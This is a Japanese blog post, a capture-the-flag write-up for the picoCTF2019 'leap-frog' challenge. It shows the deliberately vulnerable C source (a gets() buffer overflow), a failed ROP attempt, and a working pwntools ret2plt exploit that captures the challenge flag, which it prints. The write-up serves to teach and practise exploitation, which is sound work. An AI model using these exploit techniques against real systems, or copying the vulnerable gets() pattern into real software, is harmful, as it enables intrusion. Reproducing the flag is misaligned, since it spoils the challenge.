/dev/null

脳みそのL1キャッシュ

picoCTF2019でpwn練習: leap-frog

はじめに

picoCTF2019というセキュリティの知識が問われるコンテストがあるのですが、問題がとても教育的なので解いてて楽しいです。

このコンテストは2019年9月27日~2019年10月11日の間に開催されていたらしいですが、 今現在も問題サーバが生きています。興味のある方はぜひ登録して遊んでみてください。

今回はleap-frogという問題を解いたので、自分の解法を記事にしてみようと思います。 この問題は軽めROPの問題です。実際にはROPとret2pltを使って解きました。

問題

Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c on the shell server? Source.

与えられたバイナリは以下のようなソースコードからビルドしたものです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

解法

とりあえず、checksec

$ checksec ./rop
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

canaryなしなので、Stack-Based BOFが可能です。また、No PIEなので、コード再利用攻撃が可能です。この制約のもとで考えていきましょう。 ソースコード内のこの部分は完全にBOF脆弱性がありますね。

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

最終的に実行したい関数はdisplay_flag()ですね。これは以下のようになっています。

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

win1win2win3という3つのフラグがすべてtrueの場合のみフラグを出力します。これらのフラグはデフォルトfalseに設定されています。 trueにするにはleapA()関数、leap3()関数、leap2()関数をこの順に実行する必要がありそうです。

方針1

return addressを書き換えて、leapA()関数、leap3()関数、leap2()関数を実行していきます。とりあえず、ペイロードは以下のようにしました。

from pwn import *

e = ELF("./rop")

buf_addr = 0xffffc7e0
ret_addr = 0xffffc7fc

payload = b"A" * (ret_addr - buf_addr)
payload += p32(e.symbols["leapA"])

# 0x08048690 <+42>:  mov    BYTE PTR [eax+0x3f],0x1
payload += p32(e.symbols["leap3"] + 42)

# old ebp for leap3()
payload += b"AAAA"

payload += p32(e.symbols["leap2"])
payload += p32(e.symbols["display_flag"])

# argument for leap2()
payload += p32(0xdeadbeef)

直接leap3()関数を呼ぶのではなく、leap3 + 42のように、関数の途中から実行するのがポイントです。leap3()関数には以下のような通るはずもない条件式あるので、これを回避するために、チェックが通った後の、関数の途中から実行するようにします。

  if (win1 && !win1) {
    win3 = true;
  }

ここまで、書いてなんですが、これでは解けませんでした。悪さをしているのはleap3()のここ!

   0x080486b1 <+75>:     leave  
   0x080486b2 <+76>:     ret

leavemov esp, ebp; pop ebpと同義です。mov esp, ebpによって、上記のペイロードではespAAAAを設定してしまって、明後日の方向にスタックポインタを飛ばしてしまいます。これを回避するためには、ebpに正しい値(ちゃんと現在のスタックトップを指す値)に設定する必要がありますが、そのように設定できるROPガジェットは見つかりませんでした。残念!

方針2

そもそもleapA()関数、leap3()関数、leap2()関数を実行する必要はないです。直接win1win2win3を書き換えてやればいいです。これらの変数は.bss領域にあり、たとえASLRが有効化されている状況でもランダマイズ化されません。これらの変数を何かの関数、または、ROPガジェットに渡して書き換えてやればtrueにできてしまうのです。

幸い今回のシチュエーションでは、gets@pltが存在しますので、ret2pltによって簡単にwin1win2win3を書き換えられます。というわけで、最終的な攻撃コードは以下のようになりました。

from pwn import *
from os import environ

USER = environ["PICOCTF_USER"]
PASS = environ["PICOCTF_PASS"]

s = ssh(host="2019shell1.picoctf.com", user=USER, password=PASS)
s.set_working_directory(b"/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c")

e = ELF("./rop")

buf_addr = 0xffffc7e0
ret_addr = 0xffffc7fc
pop_ebx_addr = 0x08048409

payload = b"A" * (ret_addr - buf_addr)
payload += p32(e.plt["gets"])
payload += p32(pop_ebx_addr)
payload += p32(e.symbols["win1"])
payload += p32(e.symbols["display_flag"])

with open("payload.bin", "wb") as f:
    f.write(payload)

p = s.process("./rop")
p.sendlineafter("Enter your input> ", payload)
p.sendline("AAA")

print(p.recvall())

実行してフラグをゲットしましょう。

$ python solve.py
...
b'picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}\n'

おわりに

色々忘れてしまっていて、悲しいなあ…

自分がCTFをやっていたとき、ROPはできて当然で、Heap問が解ければ上々みたいな感じでした。 最近のCTFのpwnのレベル感はどうなっているのかな。